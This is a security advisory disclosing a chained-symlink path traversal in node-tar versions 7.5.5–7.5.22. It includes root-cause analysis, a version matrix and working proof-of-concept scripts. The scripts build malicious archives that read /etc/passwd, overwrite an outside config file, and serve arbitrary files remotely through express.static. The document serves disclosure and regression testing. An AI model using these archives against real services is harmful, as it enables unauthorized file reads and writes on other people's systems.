GHSA-3WWJ-8J6R-Q339

Vulnerability from github – Published: 2026-12-02 00:54 – Updated: 2026-12-02 00:54
VLAI
Summary
node-tar: Symlink containment bypass via chained symlinks lets tar.x() create links that resolve outside the extraction directory (regression since 7.5.5)
Details

Summary

With default options, tar.x() in tar@7.5.22 (and every release since 7.5.5) extracts a symbolic link that resolves outside the extraction directory when the link target passes through another symlink from the same archive and then uses .. — for example sub/up -> .. followed by esc -> sub/up/... Both symlink-target checks collapse .. lexically before considering symlinks, so the intermediate symlink is never seen, while the kernel resolves it before applying ... With enough nesting the extracted link resolves to /.

This breaks the README guarantee that "Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder", and gives any application that later reads or writes extracted paths file read/write outside the extraction root (the same impact model as GHSA-9ppj-qmqm-q256). It is a regression of the containment added for GHSA-8qq5-rm4j-mr97 (7.5.3–7.5.4 reject the chain; 7.5.5–7.5.22 accept it), and it also bypasses the [SYMLINK] check added for GHSA-83g3-92jg-28cx. A self-contained PoC, measured version matrix, and a remote-read deployment example are below.

Details

Malicious archive

Three entries, no file contents needed:

sub/        Directory
sub/up      SymbolicLink -> ..          lexical: "sub/.."    = "."    (inside)
esc         SymbolicLink -> sub/up/..   lexical: "sub/up/.." = "sub"  (inside)

On disk, the kernel resolves esc as sub/up → <cwd>, then .. → parent of <cwd>.

Root cause 1 — lexical escape check in [STRIPABSOLUTEPATH]

src/unpack.ts:284-291 at v7.5.22 (dist/commonjs/unpack.js:278-281):

// Resolve linkpath relative to the entry's directory.
// `path.posix` is safe to use because we're operating on
// tar paths, not a filesystem.
const entryDir = path.posix.dirname(entry.path)
const resolved = path.posix.normalize(
  path.posix.join(entryDir, parts.join('/')),
)
// If the resolved path escapes (starts with ..), reject it
if (resolved.startsWith('../') || resolved === '..') {

For esc, sub/up/.. normalizes to sub, so it passes. The comment's assumption ("tar paths, not a filesystem") does not hold once an earlier entry of the same archive has created sub/up as a real symlink on disk. This relaxation was introduced in 7.5.5 by e9a1ddb ("fix: do not prevent valid linkpaths within archive", PR #450). 7.5.3 and 7.5.4 rejected any .. in a linkpath and are not affected.

Root cause 2 — the symlink-component check also runs after normalization in [SYMLINK]

src/unpack.ts:640-650 (dist/commonjs/unpack.js:551):

[SYMLINK](entry: ReadEntry, done: () => void) {
  const parts = normalizeWindowsPath(
    path.relative(
      this.cwd,
      path.resolve(
        path.dirname(String(entry.absolute)),
        String(entry.linkpath),
      ),
    ),
  ).split('/')
  this[ENSURE_NO_SYMLINK](

path.resolve collapses sub/up/.. to sub, so [ENSURE_NO_SYMLINK] (src/unpack.ts:679-696) only lstats sub (a real directory) and never sees the symlink sub/up. This check was added by d18e4e1 ("do not write linkpaths through symlinks"), the fix for GHSA-83g3-92jg-28cx, and the same normalization bypasses it. Separately, [ENSURE_NO_SYMLINK] treats a missing component as safe (if (er) return done()), so even a walk over the raw components would depend on entry order.

Reaching any ancestor, up to /

With N nested directories:

d0/ … d0/…/dN-1/                Directory entries
d0/…/dN-1/up -> ../…/..         (N times "..")   lexical: "."   (inside)
root -> d0/…/dN-1/up/../…/..    (N times "..")   lexical: "."   (inside)

root resolves N levels above <cwd>, which is / once N is at least the depth of <cwd>. The PoC uses N = 12.

What node-tar still blocks

Writing a file entry or creating a hardlink through the escaping link from inside the same archive is rejected (TAR_SYMLINK_ERROR: Cannot extract through symbolic link). The impact appears when the application accesses paths under the extraction directory afterwards — the same model as GHSA-9ppj-qmqm-q256 ("Writing through the extracted symlink overwrites the outside file").

Affected versions (measured)

The PoC below was run against each version, installed with --ignore-scripts:

Version Control esc -> ../ Chain esc -> sub/up/.. Result
6.2.1, 7.0.0, 7.4.3, 7.5.2 created escapes Pre-GHSA-8qq5: no symlink-target containment (already public, not part of this report)
7.5.3, 7.5.4 rejected rejected (linkpath contains '..') Not affected
7.5.5, 7.5.6, 7.5.7, 7.5.8, 7.5.10, 7.5.11, 7.5.21, 7.5.22 rejected escapes Affected

Relation to published advisories

Advisory Relation
GHSA-8qq5-rm4j-mr97 (≤ 7.5.2) Introduced symlink-target containment. This report is a regression of it from 7.5.5.
GHSA-83g3-92jg-28cx (≤ 7.5.7) Used the same chain shape (a/b/escape -> c/up/../..) to route a hardlink. Hardlinks through the chain are now blocked, but the escaping symlink itself is still created, and the [SYMLINK] check added by that fix is bypassed.
GHSA-9ppj-qmqm-q256 (≤ 7.5.10) Same impact (an extracted symlink resolving outside cwd, then a later write through it) via a different mechanism (drive-relative C:..).
GHSA-qffp-2rhf-9h96, GHSA-34x7-hfp2-rc4v Hardlink-only escapes through other mechanisms. Unrelated to this path.

Proof of concept

Environment used

  • tar@7.5.22 (npm latest on 2026-10-30; tarball sha256 b792c2d1c7fc770910522ca1ffc29eee02ee38de4fa3a01e7832eb705879c6c6, npm shasum a696f998136e71487dc3f869a85bba2c67971ba9)
  • Node v22.23.4 in Docker node:22-slim, Linux kernel 6.18
  • Extraction options: defaults (tar.x({ file, cwd }), no preservePaths, no filter)
  • Not tested on macOS or Windows. macOS uses POSIX symlinks and should behave the same; on Windows, symlink creation usually requires extra privileges.

Files

Save both files below in an empty directory.

repro.cjs — builds the archives with tar's own Header class. No other dependencies. Everything is written under ./work. It prints JSON and exits with code 1 when vulnerable.

// node-tar chained-symlink containment bypass — self-contained reproduction.
// Usage: npm install tar@7.5.22 && node repro.cjs
// Everything is created under ./work (deleted and recreated per case); nothing outside it is written.
// Exit code: 1 if any extracted link resolves outside the extraction dir (VULNERABLE), 0 otherwise.
'use strict'
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const WORK = path.resolve(__dirname, 'work')
const OUT = path.join(WORK, 'uploads', 'job-1', 'out')   // extraction dir, 3 levels below WORK
const OUTSIDE_CONFIG = path.join(WORK, 'uploads', 'job-1', 'config.json')   // parent of OUT
const OUTSIDE_SECRET = path.join(WORK, 'uploads', 'job-0-secret.txt')      // sibling job

function makeTar(file, entries) {
  const blocks = entries.map(e => {
    const b = Buffer.alloc(512)
    new Header({ mode: e.type === 'Directory' ? 0o755 : 0o644, mtime: new Date(0), ...e }).encode(b, 0)
    return b
  })
  fs.writeFileSync(file, Buffer.concat([...blocks, Buffer.alloc(1024)]))
}

function reset() {
  fs.rmSync(WORK, { recursive: true, force: true })
  fs.mkdirSync(OUT, { recursive: true })
  fs.writeFileSync(OUTSIDE_SECRET, 'OTHER-JOB-SECRET\n')
  fs.writeFileSync(OUTSIDE_CONFIG, '{"admin":false}\n')
}

function extract(name, entries) {
  reset()
  const file = path.join(WORK, name)
  makeTar(file, entries)
  const warnings = []
  x({ file, cwd: OUT, sync: true, onwarn: (code, msg) => warnings.push(`${code}: ${msg}`) })
  return warnings
}

// Kernel view of a link. Node's JS fs.realpathSync normalizes ".." lexically and would hide the escape.
function inspect(link) {
  let linkpath = null, realpath = null
  try { linkpath = fs.readlinkSync(link) } catch (e) { return { created: false } }
  try { realpath = fs.realpathSync.native(link) } catch (e) { realpath = e.code }
  const escapes = typeof realpath === 'string' && realpath !== OUT && !realpath.startsWith(OUT + path.sep)
  return { created: true, linkpath, realpath, escapes }
}
const tryRead = p => { try { return fs.readFileSync(p, 'utf8').split('\n')[0] } catch (e) { return 'ERR ' + e.code } }

const results = []

// 0. Control: a direct escaping symlink. Rejected by current versions.
let w = extract('control.tar', [{ path: 'esc', type: 'SymbolicLink', linkpath: '../' }])
results.push({ case: '0 control: esc -> ../', warnings: w, ...inspect(path.join(OUT, 'esc')) })

// 1. Two-link chain: every linkpath is lexically inside, the result is one level above OUT.
w = extract('chain1.tar', [
  { path: 'sub/', type: 'Directory' },
  { path: 'sub/up', type: 'SymbolicLink', linkpath: '..' },        // lexically "."
  { path: 'esc', type: 'SymbolicLink', linkpath: 'sub/up/..' },    // lexically "sub"
])
const esc = path.join(OUT, 'esc')
const r1 = { case: '1 chain: sub/up -> .., esc -> sub/up/..', warnings: w, ...inspect(esc) }
if (r1.escapes) {
  r1.read_OUT_esc_config_json = tryRead(path.join(esc, 'config.json'))
  fs.writeFileSync(path.join(esc, 'config.json'), '{"admin":true}\n')   // an application writing into OUT/esc/
  r1.outside_config_after_write = tryRead(OUTSIDE_CONFIG)
}
results.push(r1)

// 2. Deeper chain: N nested dirs let the link climb N levels; N >= depth of OUT reaches "/".
const N = Number(process.env.DEPTH || 12)
const dirs = Array.from({ length: N }, (_, i) => 'd' + i)
const ups = Array(N).fill('..').join('/')
const entries = []
for (let i = 1; i <= N; i++) entries.push({ path: dirs.slice(0, i).join('/') + '/', type: 'Directory' })
entries.push({ path: dirs.join('/') + '/up', type: 'SymbolicLink', linkpath: ups })                 // lexically "."
entries.push({ path: 'root', type: 'SymbolicLink', linkpath: dirs.join('/') + '/up/' + ups })       // lexically "."
w = extract('chainN.tar', entries)
const root = path.join(OUT, 'root')
const r2 = { case: `2 chain depth ${N}: root -> ${dirs.join('/')}/up/${ups}`, warnings: w, ...inspect(root) }
if (r2.escapes) {
  r2.read_OUT_root_etc_passwd = tryRead(path.join(root, 'etc', 'passwd'))
  r2.read_sibling_job_secret = tryRead(path.join(root, path.relative('/', OUTSIDE_SECRET)))
}
results.push(r2)

const vulnerable = results.some(r => r.escapes)
console.log(JSON.stringify({ node: process.version, tar: require('tar/package.json').version, platform: process.platform,
  verdict: vulnerable ? 'VULNERABLE' : 'NOT VULNERABLE', results }, null, 2))
process.exitCode = vulnerable ? 1 : 0

run.sh — optional isolated run in Docker (install with network, proof without network, as your own uid):

#!/bin/sh
# Isolated reproduction in Docker. Run from the directory containing repro.cjs.
# Step 1 installs tar without lifecycle scripts (needs network); step 2 runs the proof with networking off.
# Runs as your own uid so the bind mount is writable on Linux hosts.
set -e
VER="${TAR_VERSION:-7.5.22}"
U="$(id -u):$(id -g)"
docker run --rm --user "$U" -e HOME=/tmp -v "$PWD:/poc" -w /poc node:22-slim \
  sh -c "npm init -y >/dev/null && npm install --ignore-scripts --no-audit --no-fund tar@$VER >/dev/null"
docker run --rm --network none --user "$U" -e HOME=/tmp -v "$PWD:/poc" -w /poc node:22-slim node repro.cjs || true

Steps

Option A, in Docker:

sh run.sh                       # tests tar@7.5.22
TAR_VERSION=7.5.4 sh run.sh     # comparison: not affected

Option B, without Docker (Linux/macOS). This reads /etc/passwd through the extracted link and writes only under ./work:

npm init -y && npm install --ignore-scripts tar@7.5.22
node repro.cjs; echo "exit=$?"

Output with tar@7.5.22

{
  "node": "v22.23.4",
  "tar": "7.5.22",
  "platform": "linux",
  "verdict": "VULNERABLE",
  "results": [
    {
      "case": "0 control: esc -> ../",
      "warnings": [
        "TAR_ENTRY_ERROR: linkpath escapes extraction directory"
      ],
      "created": false
    },
    {
      "case": "1 chain: sub/up -> .., esc -> sub/up/..",
      "warnings": [],
      "created": true,
      "linkpath": "sub/up/..",
      "realpath": "/poc/work/uploads/job-1",
      "escapes": true,
      "read_OUT_esc_config_json": "{\"admin\":false}",
      "outside_config_after_write": "{\"admin\":true}"
    },
    {
      "case": "2 chain depth 12: root -> d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..",
      "warnings": [],
      "created": true,
      "linkpath": "d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..",
      "realpath": "/",
      "escapes": true,
      "read_OUT_root_etc_passwd": "root:x:0:0:root:/root:/bin/bash",
      "read_sibling_job_secret": "OTHER-JOB-SECRET"
    }
  ]
}

What it shows: - Case 0 (control): a direct ../ link is rejected, so containment is working. - Case 1: the chained link esc resolves to the parent of the extraction dir (.../job-1). Reading out/esc/config.json returns the parent's file, and writing to it changes the file outside the extraction dir. - Case 2: the depth-12 chain resolves to /. out/root/etc/passwd and another job's file (uploads/job-0-secret.txt) are readable through it.

The outputs were identical across 3 consecutive runs, and the async API (await tar.x({ file, cwd })) gives the same result.

Output with tar@7.5.4 (comparison)

{
  "node": "v22.23.4",
  "tar": "7.5.4",
  "platform": "linux",
  "verdict": "NOT VULNERABLE",
  "results": [
    {
      "case": "0 control: esc -> ../",
      "warnings": [
        "TAR_ENTRY_ERROR: linkpath contains '..'"
      ],
      "created": false
    },
    {
      "case": "1 chain: sub/up -> .., esc -> sub/up/..",
      "warnings": [
        "TAR_ENTRY_ERROR: linkpath contains '..'",
        "TAR_ENTRY_ERROR: linkpath contains '..'"
      ],
      "created": false
    },
    {
      "case": "2 chain depth 12: root -> d0/d1/d2/d3/d4/d5/d6/d7/d8/d9/d10/d11/up/../../../../../../../../../../../..",
      "warnings": [
        "TAR_ENTRY_ERROR: linkpath contains '..'",
        "TAR_ENTRY_ERROR: linkpath contains '..'"
      ],
      "created": false
    }
  ]
}

Expected (safe) behavior

The chained entries are rejected the same way as the control, with a TAR_ENTRY_ERROR warning, or are created so that they resolve inside cwd. The script then prints "verdict": "NOT VULNERABLE" and exits with code 0. It doubles as a regression check for a fix.

Note: Node's JS fs.realpathSync normalizes .. lexically and reports an in-root path for esc. The PoC therefore uses fs.realpathSync.native, which returns the same result as readlink -f.

Deployment example: unauthenticated remote file read

A common pattern is a service that extracts an uploaded tarball into a per-user directory and serves it with express.static (defaults). The uploaded archive contains index.html plus the depth-12 chain named assets. The server listens on 127.0.0.1 only and exits after three requests.

serve-demo.cjs:

// Deployment example: a service extracts an uploaded tarball with tar defaults and serves it with
// express.static. Usage: npm install tar@7.5.22 express@5 && node serve-demo.cjs
// Listens only on 127.0.0.1 and exits after three requests. Files are created under ./work-serve only.
'use strict'
const fs = require('fs')
const path = require('path')
const http = require('http')
const express = require('express')
const { Header, x } = require('tar')

const WORK = path.resolve(__dirname, 'work-serve')
const SITE = path.join(WORK, 'sites', 'user-123')
fs.rmSync(WORK, { recursive: true, force: true })
fs.mkdirSync(SITE, { recursive: true })

// Attacker-uploaded archive: a normal index.html plus a depth-12 chain named "assets".
const N = 12
const dirs = Array.from({ length: N }, (_, i) => 'd' + i)
const ups = Array(N).fill('..').join('/')
const entries = [{ path: 'index.html', type: 'File', body: 'hello\n' }]
for (let i = 1; i <= N; i++) entries.push({ path: dirs.slice(0, i).join('/') + '/', type: 'Directory' })
entries.push({ path: dirs.join('/') + '/up', type: 'SymbolicLink', linkpath: ups })
entries.push({ path: 'assets', type: 'SymbolicLink', linkpath: dirs.join('/') + '/up/' + ups })
const blocks = []
for (const e of entries) {
  const body = e.body ? Buffer.from(e.body) : null
  const h = Buffer.alloc(512)
  new Header({ path: e.path, type: e.type, linkpath: e.linkpath, size: body ? body.length : 0,
    mode: e.type === 'Directory' ? 0o755 : 0o644, mtime: new Date(0) }).encode(h, 0)
  blocks.push(h)
  if (body) blocks.push(Buffer.concat([body, Buffer.alloc(512 - (body.length % 512 || 512))]))
}
const upload = path.join(WORK, 'upload.tar')
fs.writeFileSync(upload, Buffer.concat([...blocks, Buffer.alloc(1024)]))

// Server side: default extraction options, default express.static.
x({ file: upload, cwd: SITE, sync: true })
const app = express()
app.use('/sites/user-123', express.static(SITE))
const server = app.listen(0, '127.0.0.1', async () => {
  const port = server.address().port
  const get = p => new Promise(resolve => http.get({ host: '127.0.0.1', port, path: p }, res => {
    let d = ''
    res.on('data', c => (d += c))
    res.on('end', () => resolve({ path: p, status: res.statusCode, first_line: d.split('\n')[0] }))
  }))
  const requests = []
  for (const p of ['/sites/user-123/index.html', '/sites/user-123/assets/etc/passwd', '/sites/user-123/assets/etc/hostname']) {
    requests.push(await get(p))
  }
  console.log(JSON.stringify({ tar: require('tar/package.json').version, express: require('express/package.json').version, requests }, null, 2))
  server.close()
})

Run:

npm init -y && npm install --ignore-scripts tar@7.5.22 express@5
node serve-demo.cjs

Output (Docker, --network none, loopback only):

{
  "tar": "7.5.22",
  "express": "5.3.0",
  "requests": [
    {
      "path": "/sites/user-123/index.html",
      "status": 200,
      "first_line": "hello"
    },
    {
      "path": "/sites/user-123/assets/etc/passwd",
      "status": 200,
      "first_line": "root:x:0:0:root:/root:/bin/bash"
    },
    {
      "path": "/sites/user-123/assets/etc/hostname",
      "status": 200,
      "first_line": "edab13260d70"
    }
  ]
}

Impact

Vulnerability type: link following and path traversal in archive extraction (CWE-59, CWE-22). With default options, tar.x() creates a symlink inside the extraction directory that resolves outside it, up to /. This breaks the README's documented guarantee for SymbolicLink entries.

Who is impacted: applications that extract attacker-controlled tarballs with tar 7.5.5–7.5.22 using default options and then access paths under the extraction directory. Examples: serving extracted files (as in the express.static example), reading or post-processing them, writing results or configuration into the extracted tree, or copying files out while following links. The README promises that link targets stay inside the extraction folder, so applications reasonably rely on that instead of adding their own link filter.

What an attacker gains: read and write access to files outside the extraction root, with the privileges of the extracting process. This can include other users' uploads in a shared parent directory, application configuration, keys readable by the service account, and any writable file. Demonstrated above: - reading /etc/passwd and another job's file - overwriting a parent-directory config file - an unauthenticated remote read over HTTP through express.static

Not required: preservePaths, special filesystems, race conditions, or Windows.

Remediation idea (untested proposal): accept a SymbolicLink linkpath only when every .. segment comes before any other segment, i.e. only leading ../ segments, bounded by the entry's depth. - sub/up/.. is then rejected, while ../sibling/file (the case PR #450 wanted to allow) stays valid. - Each accepted link can only climb above its own real parent directory and never passes .. through another link, so chains cannot leave cwd. The rule does not depend on entry order. - repro.cjs above can serve as the regression test: it must print NOT VULNERABLE.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.5.5"
            },
            {
              "fixed": "8.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-140250"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-12-02T00:54:08Z",
    "nvd_published_at": "2026-12-01T19:17:14Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWith default options, `tar.x()` in `tar@7.5.22` (and every release since 7.5.5) extracts a symbolic link that resolves outside the extraction directory when the link target passes through another symlink from the same archive and then uses `..` \u2014 for example `sub/up -\u003e ..` followed by `esc -\u003e sub/up/..`. Both symlink-target checks collapse `..` lexically before considering symlinks, so the intermediate symlink is never seen, while the kernel resolves it before applying `..`. With enough nesting the extracted link resolves to `/`.\n\nThis breaks the README guarantee that \"`Link` and `SymbolicLink` entries are not allowed to target locations outside of the extraction folder\", and gives any application that later reads or writes extracted paths file read/write outside the extraction root (the same impact model as GHSA-9ppj-qmqm-q256). It is a regression of the containment added for GHSA-8qq5-rm4j-mr97 (7.5.3\u20137.5.4 reject the chain; 7.5.5\u20137.5.22 accept it), and it also bypasses the `[SYMLINK]` check added for GHSA-83g3-92jg-28cx. A self-contained PoC, measured version matrix, and a remote-read deployment example are below.\n\n### Details\n\n### Malicious archive\n\nThree entries, no file contents needed:\n\n```\nsub/        Directory\nsub/up      SymbolicLink -\u003e ..          lexical: \"sub/..\"    = \".\"    (inside)\nesc         SymbolicLink -\u003e sub/up/..   lexical: \"sub/up/..\" = \"sub\"  (inside)\n```\n\nOn disk, the kernel resolves `esc` as `sub/up` \u2192 `\u003ccwd\u003e`, then `..` \u2192 **parent of `\u003ccwd\u003e`**.\n\n### Root cause 1 \u2014 lexical escape check in `[STRIPABSOLUTEPATH]`\n\n`src/unpack.ts:284-291` at v7.5.22 (`dist/commonjs/unpack.js:278-281`):\n\n```ts\n// Resolve linkpath relative to the entry\u0027s directory.\n// `path.posix` is safe to use because we\u0027re operating on\n// tar paths, not a filesystem.\nconst entryDir = path.posix.dirname(entry.path)\nconst resolved = path.posix.normalize(\n  path.posix.join(entryDir, parts.join(\u0027/\u0027)),\n)\n// If the resolved path escapes (starts with ..), reject it\nif (resolved.startsWith(\u0027../\u0027) || resolved === \u0027..\u0027) {\n```\n\nFor `esc`, `sub/up/..` normalizes to `sub`, so it passes. The comment\u0027s assumption (\"tar paths, not a filesystem\") does not hold once an earlier entry of the same archive has created `sub/up` as a real symlink on disk. This relaxation was introduced in **7.5.5** by e9a1ddb (\"fix: do not prevent valid linkpaths within archive\", PR #450). 7.5.3 and 7.5.4 rejected any `..` in a linkpath and are not affected.\n\n### Root cause 2 \u2014 the symlink-component check also runs after normalization in `[SYMLINK]`\n\n`src/unpack.ts:640-650` (`dist/commonjs/unpack.js:551`):\n\n```ts\n[SYMLINK](entry: ReadEntry, done: () =\u003e void) {\n  const parts = normalizeWindowsPath(\n    path.relative(\n      this.cwd,\n      path.resolve(\n        path.dirname(String(entry.absolute)),\n        String(entry.linkpath),\n      ),\n    ),\n  ).split(\u0027/\u0027)\n  this[ENSURE_NO_SYMLINK](\n```\n\n`path.resolve` collapses `sub/up/..` to `sub`, so `[ENSURE_NO_SYMLINK]` (`src/unpack.ts:679-696`) only `lstat`s `sub` (a real directory) and never sees the symlink `sub/up`. This check was added by d18e4e1 (\"do not write linkpaths through symlinks\"), the fix for GHSA-83g3-92jg-28cx, and the same normalization bypasses it. Separately, `[ENSURE_NO_SYMLINK]` treats a missing component as safe (`if (er) return done()`), so even a walk over the raw components would depend on entry order.\n\n### Reaching any ancestor, up to `/`\n\nWith N nested directories:\n\n```\nd0/ \u2026 d0/\u2026/dN-1/                Directory entries\nd0/\u2026/dN-1/up -\u003e ../\u2026/..         (N times \"..\")   lexical: \".\"   (inside)\nroot -\u003e d0/\u2026/dN-1/up/../\u2026/..    (N times \"..\")   lexical: \".\"   (inside)\n```\n\n`root` resolves N levels above `\u003ccwd\u003e`, which is `/` once N is at least the depth of `\u003ccwd\u003e`. The PoC uses N = 12.\n\n### What node-tar still blocks\n\nWriting a file entry or creating a hardlink *through* the escaping link from inside the same archive is rejected (`TAR_SYMLINK_ERROR: Cannot extract through symbolic link`). The impact appears when the application accesses paths under the extraction directory afterwards \u2014 the same model as GHSA-9ppj-qmqm-q256 (\"Writing through the extracted symlink overwrites the outside file\").\n\n### Affected versions (measured)\n\nThe PoC below was run against each version, installed with `--ignore-scripts`:\n\n| Version | Control `esc -\u003e ../` | Chain `esc -\u003e sub/up/..` | Result |\n|---|---|---|---|\n| 6.2.1, 7.0.0, 7.4.3, 7.5.2 | created | escapes | Pre-GHSA-8qq5: no symlink-target containment (already public, not part of this report) |\n| 7.5.3, 7.5.4 | rejected | rejected (`linkpath contains \u0027..\u0027`) | Not affected |\n| 7.5.5, 7.5.6, 7.5.7, 7.5.8, 7.5.10, 7.5.11, 7.5.21, 7.5.22 | rejected | **escapes** | **Affected** |\n\n### Relation to published advisories\n\n| Advisory | Relation |\n|---|---|\n| GHSA-8qq5-rm4j-mr97 (\u2264 7.5.2) | Introduced symlink-target containment. This report is a regression of it from 7.5.5. |\n| GHSA-83g3-92jg-28cx (\u2264 7.5.7) | Used the same chain shape (`a/b/escape -\u003e c/up/../..`) to route a hardlink. Hardlinks through the chain are now blocked, but the escaping symlink itself is still created, and the `[SYMLINK]` check added by that fix is bypassed. |\n| GHSA-9ppj-qmqm-q256 (\u2264 7.5.10) | Same impact (an extracted symlink resolving outside cwd, then a later write through it) via a different mechanism (drive-relative `C:..`). |\n| GHSA-qffp-2rhf-9h96, GHSA-34x7-hfp2-rc4v | Hardlink-only escapes through other mechanisms. Unrelated to this path. |\n\n### Proof of concept\n\n### Environment used\n\n- `tar@7.5.22` (npm `latest` on 2026-10-30; tarball sha256 `b792c2d1c7fc770910522ca1ffc29eee02ee38de4fa3a01e7832eb705879c6c6`, npm shasum `a696f998136e71487dc3f869a85bba2c67971ba9`)\n- Node v22.23.4 in Docker `node:22-slim`, Linux kernel 6.18\n- Extraction options: defaults (`tar.x({ file, cwd })`, no `preservePaths`, no `filter`)\n- Not tested on macOS or Windows. macOS uses POSIX symlinks and should behave the same; on Windows, symlink creation usually requires extra privileges.\n\n### Files\n\nSave both files below in an empty directory.\n\n`repro.cjs` \u2014 builds the archives with tar\u0027s own `Header` class. No other dependencies. Everything is written under `./work`. It prints JSON and exits with code 1 when vulnerable.\n\n```js\n// node-tar chained-symlink containment bypass \u2014 self-contained reproduction.\n// Usage: npm install tar@7.5.22 \u0026\u0026 node repro.cjs\n// Everything is created under ./work (deleted and recreated per case); nothing outside it is written.\n// Exit code: 1 if any extracted link resolves outside the extraction dir (VULNERABLE), 0 otherwise.\n\u0027use strict\u0027\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { Header, x } = require(\u0027tar\u0027)\n\nconst WORK = path.resolve(__dirname, \u0027work\u0027)\nconst OUT = path.join(WORK, \u0027uploads\u0027, \u0027job-1\u0027, \u0027out\u0027)   // extraction dir, 3 levels below WORK\nconst OUTSIDE_CONFIG = path.join(WORK, \u0027uploads\u0027, \u0027job-1\u0027, \u0027config.json\u0027)   // parent of OUT\nconst OUTSIDE_SECRET = path.join(WORK, \u0027uploads\u0027, \u0027job-0-secret.txt\u0027)      // sibling job\n\nfunction makeTar(file, entries) {\n  const blocks = entries.map(e =\u003e {\n    const b = Buffer.alloc(512)\n    new Header({ mode: e.type === \u0027Directory\u0027 ? 0o755 : 0o644, mtime: new Date(0), ...e }).encode(b, 0)\n    return b\n  })\n  fs.writeFileSync(file, Buffer.concat([...blocks, Buffer.alloc(1024)]))\n}\n\nfunction reset() {\n  fs.rmSync(WORK, { recursive: true, force: true })\n  fs.mkdirSync(OUT, { recursive: true })\n  fs.writeFileSync(OUTSIDE_SECRET, \u0027OTHER-JOB-SECRET\\n\u0027)\n  fs.writeFileSync(OUTSIDE_CONFIG, \u0027{\"admin\":false}\\n\u0027)\n}\n\nfunction extract(name, entries) {\n  reset()\n  const file = path.join(WORK, name)\n  makeTar(file, entries)\n  const warnings = []\n  x({ file, cwd: OUT, sync: true, onwarn: (code, msg) =\u003e warnings.push(`${code}: ${msg}`) })\n  return warnings\n}\n\n// Kernel view of a link. Node\u0027s JS fs.realpathSync normalizes \"..\" lexically and would hide the escape.\nfunction inspect(link) {\n  let linkpath = null, realpath = null\n  try { linkpath = fs.readlinkSync(link) } catch (e) { return { created: false } }\n  try { realpath = fs.realpathSync.native(link) } catch (e) { realpath = e.code }\n  const escapes = typeof realpath === \u0027string\u0027 \u0026\u0026 realpath !== OUT \u0026\u0026 !realpath.startsWith(OUT + path.sep)\n  return { created: true, linkpath, realpath, escapes }\n}\nconst tryRead = p =\u003e { try { return fs.readFileSync(p, \u0027utf8\u0027).split(\u0027\\n\u0027)[0] } catch (e) { return \u0027ERR \u0027 + e.code } }\n\nconst results = []\n\n// 0. Control: a direct escaping symlink. Rejected by current versions.\nlet w = extract(\u0027control.tar\u0027, [{ path: \u0027esc\u0027, type: \u0027SymbolicLink\u0027, linkpath: \u0027../\u0027 }])\nresults.push({ case: \u00270 control: esc -\u003e ../\u0027, warnings: w, ...inspect(path.join(OUT, \u0027esc\u0027)) })\n\n// 1. Two-link chain: every linkpath is lexically inside, the result is one level above OUT.\nw = extract(\u0027chain1.tar\u0027, [\n  { path: \u0027sub/\u0027, type: \u0027Directory\u0027 },\n  { path: \u0027sub/up\u0027, type: \u0027SymbolicLink\u0027, linkpath: \u0027..\u0027 },        // lexically \".\"\n  { path: \u0027esc\u0027, type: \u0027SymbolicLink\u0027, linkpath: \u0027sub/up/..\u0027 },    // lexically \"sub\"\n])\nconst esc = path.join(OUT, \u0027esc\u0027)\nconst r1 = { case: \u00271 chain: sub/up -\u003e .., esc -\u003e sub/up/..\u0027, warnings: w, ...inspect(esc) }\nif (r1.escapes) {\n  r1.read_OUT_esc_config_json = tryRead(path.join(esc, \u0027config.json\u0027))\n  fs.writeFileSync(path.join(esc, \u0027config.json\u0027), \u0027{\"admin\":true}\\n\u0027)   // an application writing into OUT/esc/\n  r1.outside_config_after_write = tryRead(OUTSIDE_CONFIG)\n}\nresults.push(r1)\n\n// 2. Deeper chain: N nested dirs let the link climb N levels; N \u003e= depth of OUT reaches \"/\".\nconst N = Number(process.env.DEPTH || 12)\nconst dirs = Array.from({ length: N }, (_, i) =\u003e \u0027d\u0027 + i)\nconst ups = Array(N).fill(\u0027..\u0027).join(\u0027/\u0027)\nconst entries = []\nfor (let i = 1; i \u003c= N; i++) entries.push({ path: dirs.slice(0, i).join(\u0027/\u0027) + \u0027/\u0027, type: \u0027Directory\u0027 })\nentries.push({ path: dirs.join(\u0027/\u0027) + \u0027/up\u0027, type: \u0027SymbolicLink\u0027, linkpath: ups })                 // lexically \".\"\nentries.push({ path: \u0027root\u0027, type: \u0027SymbolicLink\u0027, linkpath: dirs.join(\u0027/\u0027) + \u0027/up/\u0027 + ups })       // lexically \".\"\nw = extract(\u0027chainN.tar\u0027, entries)\nconst root = path.join(OUT, \u0027root\u0027)\nconst r2 = { case: `2 chain depth ${N}: root -\u003e ${dirs.join(\u0027/\u0027)}/up/${ups}`, warnings: w, ...inspect(root) }\nif (r2.escapes) {\n  r2.read_OUT_root_etc_passwd = tryRead(path.join(root, \u0027etc\u0027, \u0027passwd\u0027))\n  r2.read_sibling_job_secret = tryRead(path.join(root, path.relative(\u0027/\u0027, OUTSIDE_SECRET)))\n}\nresults.push(r2)\n\nconst vulnerable = results.some(r =\u003e r.escapes)\nconsole.log(JSON.stringify({ node: process.version, tar: require(\u0027tar/package.json\u0027).version, platform: process.platform,\n  verdict: vulnerable ? \u0027VULNERABLE\u0027 : \u0027NOT VULNERABLE\u0027, results }, null, 2))\nprocess.exitCode = vulnerable ? 1 : 0\n```\n\n`run.sh` \u2014 optional isolated run in Docker (install with network, proof without network, as your own uid):\n\n```sh\n#!/bin/sh\n# Isolated reproduction in Docker. Run from the directory containing repro.cjs.\n# Step 1 installs tar without lifecycle scripts (needs network); step 2 runs the proof with networking off.\n# Runs as your own uid so the bind mount is writable on Linux hosts.\nset -e\nVER=\"${TAR_VERSION:-7.5.22}\"\nU=\"$(id -u):$(id -g)\"\ndocker run --rm --user \"$U\" -e HOME=/tmp -v \"$PWD:/poc\" -w /poc 